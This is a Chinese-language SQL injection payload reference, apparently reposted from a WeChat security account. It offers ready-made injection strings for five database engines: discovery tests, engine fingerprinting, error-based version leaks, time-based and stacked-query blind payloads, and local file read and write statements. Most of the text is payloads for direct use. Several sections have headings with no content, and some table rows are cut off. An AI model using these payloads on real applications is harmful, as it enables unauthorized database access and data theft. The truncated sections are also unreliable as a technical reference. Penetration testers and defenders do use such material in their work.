这是一份经过验证的 SQL 注入攻击载荷和技巧的参考手册,涵盖了五种最受欢迎的数据库变体及其衍生产品(MySQL、PostgreSQL、MSSQL/SQL Server、Oracle、SQLite)。
前置知识
一些攻击载荷包含需要在实际使用前替换为特定值的占位符。占位符用 <> 表示,并且是大写的,例如 <START>
。替换整个占位符,包括 <>。
避免 OR <true> (OR 1=1)
除了 CTFs(Capture The Flag,夺旗赛),在 SQL 注入中应避免使用 OR
我之前写过文章,现在不多说了。
如果你有一个“有效值”,在进行 SQL 注入时几乎不需要使用 OR <true>
。有效值是指在应用程序中返回“积极”结果的值,例如返回 1 个或多个结果的搜索词,映射到实际资源(例如用户、产品等)的 ID,或者有效的用户名。
sql语句破坏与修复方法
这是一种简单但通常可靠的方法,用于发现基本的 SQL 注入。
首先,通过在有效值中注入单个或双引号来“破坏”语句(例如 username=admin'
)。
然后,依次替换注入的引号为以下“修复”方法,看看是否有一个能够产生原始(未注入)的响应:
修复方法 |
---|
' ' |
'||' |
'+' |
' AND '1'='1 |
' -- - |
在某些情况下,我们的“修复”方法都不起作用,因为我们是在整数值中注入。在这些情况下,尝试以下修复方法。注意,每一种方法都以空格开头:
修复方法 |
---|
-- - |
AND 1=1 |
AND 1=1 -- - |
例如,假设存在某种搜索功能,搜索词 shirt
返回 23 个结果。因此,有效值是 shirt
,与之相关的有效响应是包含 23 个结果的页面。
在搜索词 shirt'
后追加一个单引号会破坏 SQL 语句,现在返回 0 个结果。请注意,这也可能是因为搜索词 shirt'
现在无效,但“修复”过程应该能够确定这一点。
用“修复”方法之一替换单引号,例如 shirt' '
。这个新的搜索词再次返回 23 个结果。由于这与原始有效响应匹配,因此非常有可能该搜索功能存在 SQL 注入漏洞。
这可以通过尝试进行 UNION 注入攻击,或者通过注入两个布尔攻击载荷来确认:
shirt' AND '1'='1
shirt' AND '1'='0'
第一个应该返回原始有效响应(23 个结果),而第二个应该返回 0 个结果。
识别变体
一旦找到潜在的注入点,可以通过按顺序注入以下攻击载荷,直到返回正面结果,从而识别数据库变体(例如 MySQL、PostgreSQL):
顺序 | 攻击载荷 | 如果有效 |
---|---|---|
1 | AND 'foo' 'bar' = 'foobar' | MySQL |
2 | AND DATALENGTH('foo') = 3 | MSSQL |
3 | AND TO_HEX(1) = '1' | PostgreSQL |
4 | AND LENGTHB('foo') = '3' | Oracle |
5 | AND GLOB('foo*', 'foobar') = 1 | SQLite |
注释
这个注释语法可以用来向 SQL 语句添加注释,对于注释掉注入后的任何内容以及绕过某些过滤器非常有用。请注意,-- 注释需要在 -- 后有一个空格才有效,而 /comment/ 是内联注释。
字符串拼接
这些函数/操作符可以用来将两个或更多的字符串拼接在一起。
字符串截取
这些函数可以用来选择字符串的一部分。START 值应设置为 1(而不是 0),以从第一个字符开始子字符串。为了绕过某些 WAF/过滤,还包括了无逗号版本。
长度
这些函数计算字符串的长度,可以是字节数或字符数(因为某些字符可能由于 Unicode 而有多个字节)。
组合拼接
这些函数将多行结果的值拼接成单个字符串。将
变体 | 函数 |
---|---|
MySQL | GROUP_CONCAT(expression, ' |
PostgreSQL | STRING_AGG(expression, ' |
MSSQL | STRING_AGG(expression, ' |
Oracle | LISTAGG(expression, ' |
SQLite | GROUP_CONCAT(expression, ' |
将字符转换为整数以进行比较
对于盲 SQL 注入来说非常有用,可以确定字符的范围。请注意,MySQL 和 Oracle 的函数输出十六进制数字,而其他函数输出十进制。
变体 | 函数 | 输出 |
---|---|---|
MySQL | HEX('a') | 61 |
PostgreSQL | ASCII('a') | 97 |
MSSQL | UNICODE('a') | 97 |
Oracle | RAWTOHEX('a') | 61 |
SQLite | UNICODE('a') | 97 |
限制和偏移查询
用于限制查询结果为特定行数,以及偏移起始行的语法。为了绕过某些 WAF/过滤,还包括了无逗号版本。
数据库版本
提供数据库版本信息的函数和操作符。
当前数据库/架构
返回当前选定的数据库/架构的查询。
列出数据库
返回所有数据库/架构的列表的查询。
列出表格
返回给定数据库/架构中所有表格的列表的查询。
列出列
返回给定表格和数据库/架构对中所有列的列表的查询。
布尔错误推理利用
如果 1=1 条件 为真,则这些攻击载荷会导致 SQL 出现错误。将 1=1 替换为你想测试的条件;如果错误以某种可衡量的方式(例如 500 内部服务器错误)回传到响应中,则条件为真。
基于错误的利用
这些注入攻击载荷应该会导致数据库错误,并在该错误中返回数据库变体的版本信息。
MySQL
攻击载荷 |
---|
AND GTID_SUBSET(CONCAT('~',(SELECT version()),'~'),1337) -- - |
AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('~',(SELECT version()),'~')) USING utf8))) -- - |
AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- - |
AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- - |
OR 1 GROUP BY CONCAT('~',(SELECT version()),'~',FLOOR(RAND(0)*2)) HAVING MIN(0) -- - |
AND EXP(~(SELECT * FROM (SELECT CONCAT('~',(SELECT version()),'~','x'))x)) -- - |
PostgreSQL
攻击载荷 |
---|
AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- - |
AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- - |
AND CAST((SELECT version()) AS INT)=1337 -- - |
AND (SELECT version())::int=1 -- - |
MSSQL
攻击载荷 |
---|
AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- - |
AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- - |
AND 1337=CONCAT('~',(SELECT @@version),'~') -- - |
Oracle
攻击载荷 |
---|
AND 1337=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'~'||(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))||'~'||CHR(62))) FROM DUAL) -- - |
AND 1337=UTL_INADDR.GET_HOST_ADDRESS('~'||(SELECT banner FROM v$version)||'~') -- - |
AND 1337=CTXSYS.DRITHSX.SN(1337,'~'||(SELECT banner FROM v$version)||'~') -- - |
AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'||(SELECT banner FROM v$version)||'~') -- - |
基于时间的利用
简单的基于时间的注入
注意,这些注入攻击载荷具有固有危险性,因为 sleep 函数可能会执行多次。它们会导致数据库每次查询评估时休眠 10 秒。
这些只应在确定查询只会评估一行时使用。
变体 | 攻击载荷 |
---|---|
MySQL | AND SLEEP(10)=0 |
PostgreSQL | AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR' |
MSSQL | AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END) |
Oracle | AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END) |
SQLite | AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) |
复杂的基于时间的注入
这些注入攻击载荷是“安全的”,并且每个语句只应该休眠一次(10 秒)。将 1=1 替换为你想测试的条件;如果出现 10 秒的延迟,则条件为真。
变体 | 攻击载荷 |
---|---|
MySQL | AND (SELECT 1337 FROM (SELECT(SLEEP(10-(IF((1=1),0,10))))) RANDSTR) |
PostgreSQL | AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END) |
MSSQL | AND 1337=(CASE WHEN (1=1) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE 1337 END) |
Oracle | AND 1337=(CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END) |
SQLite | AND 1337=(CASE WHEN (1=1) THEN (SELECT 1337 FROM (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))))) ELSE 1337 END) |
堆栈基础注入
通常,如果支持堆栈基础注入,它只能通过造成基于时间的延迟来检测。这些注入攻击载荷应该会造成 10 秒的延迟:
变体 | 攻击载荷 |
---|---|
MySQL | ; SLEEP(10) -- - |
PostgreSQL | ; PG_SLEEP(10) -- - |
MSSQL | ; WAITFOR DELAY '0:0:10' -- - |
Oracle | ; DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) -- - |
SQLite | ; RANDOMBLOB(1000000000/2) -- - |
这些注入攻击载荷如果 1=1 条件为真,应该会造成 10 秒的延迟。将 1=1 替换为你想测试的条件;如果出现 10 秒的延迟,则条件为真。
变体 | 攻击载荷 |
---|---|
MySQL | ; SELECT IF((1=1),SLEEP(10),1337) |
PostgreSQL | ; SELECT (CASE WHEN (1=1) THEN (SELECT 1337 FROM PG_SLEEP(10)) ELSE 1337 END) |
MSSQL | ; IF(1=1) WAITFOR DELAY '0:0:10' |
Oracle | ; SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('RANDSTR',10) ELSE 1337 END FROM DUAL |
SQLite | ; SELECT (CASE WHEN (1=1) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))) ELSE 1337 END) |
读取本地文件
这些函数读取本地文件的内容。Oracle 方法只有在堆栈注入可能的情况下才能发生。SQLite 的 readfile 不是核心函数。
变体 | 函数 |
---|---|
MySQL | LOAD_FILE('/path/to/file') |
PostgreSQL | PG_READ_FILE('/path/to/file') |
MSSQL | OPENROWSET(BULK 'C:pathtofile', SINGLE_CLOB) |
Oracle | utl_file.get_line(utl_file.fopen('/path/to/','file','R'), |
SQLite | readfile('/path/to/file') |
写入本地文件
这些语句将内容写入本地文件。PostgreSQL、MSSQL 和 Oracle 方法只有在堆栈注入可能的情况下才能发生。MSSQL 需要启用“Ole Automation Procedures”。
变体 | 语句 |
---|---|
MySQL | SELECT 'contents' INTO OUTFILE '/path/to/file' |
PostgreSQL | COPY (SELECT 'contents') TO '/path/to/file' |
MSSQL | execute spWriteStringToFile 'contents', 'C:pathto', 'file' |
Oracle | utl_file.put_line(utl_file.fopen('/path/to/','file','R'), |
SQLite | SELECT writefile('/path/to/file', column_name) FROM table_name |
执行操作系统命令
这些语句执行本地操作系统命令。PostgreSQL、MSSQL 和第二个 Oracle 方法只有在堆栈注入可能的情况下才能发生。第一个 Oracle 方法需要 OS_Command 包。
参考资料
这里包含的大部分信息来自于我对各种注入和数据库变体的研究/实验。然而,一些攻击载荷要么是从流行的 SQL 注入工具 SQLmap 中获取的,要么基于该工具中的攻击载荷。
原文始发于微信公众号(独眼情报):sql 注入试试这篇文章(建议收藏)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论